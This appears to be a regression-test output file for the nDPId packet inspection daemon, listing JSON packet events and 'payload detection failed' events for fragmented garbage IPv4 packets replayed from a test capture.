+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218018,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgkkAGRR8KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218031,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglEAGRR0KAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1640,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218043,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAglkAGRRsKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1641,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218057,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmEAGRRkKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1642,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218070,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgmkAGRRcKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1643,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218082,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnEAGRRUKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1644,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218093,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1645,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218107,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1646,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218119,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1647,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218130,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1648,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218142,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1649,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218154,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1650,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1651,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218177,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1652,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218220,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1653,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218232,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1654,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218240,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1655,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218248,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1656,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218258,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1657,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218270,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1658,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218281,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1659,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1660,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1661,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218317,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1662,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218329,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1663,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218340,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1664,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218354,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1665,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218366,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1666,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218378,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1667,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218390,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1668,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218402,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1669,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218414,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1670,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218426,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1671,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218438,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1672,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218450,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1673,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1674,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218475,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1675,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218490,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1676,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218502,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1677,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218514,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1678,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218527,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1679,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244026,"pkt_ts_usec":218539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1680,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 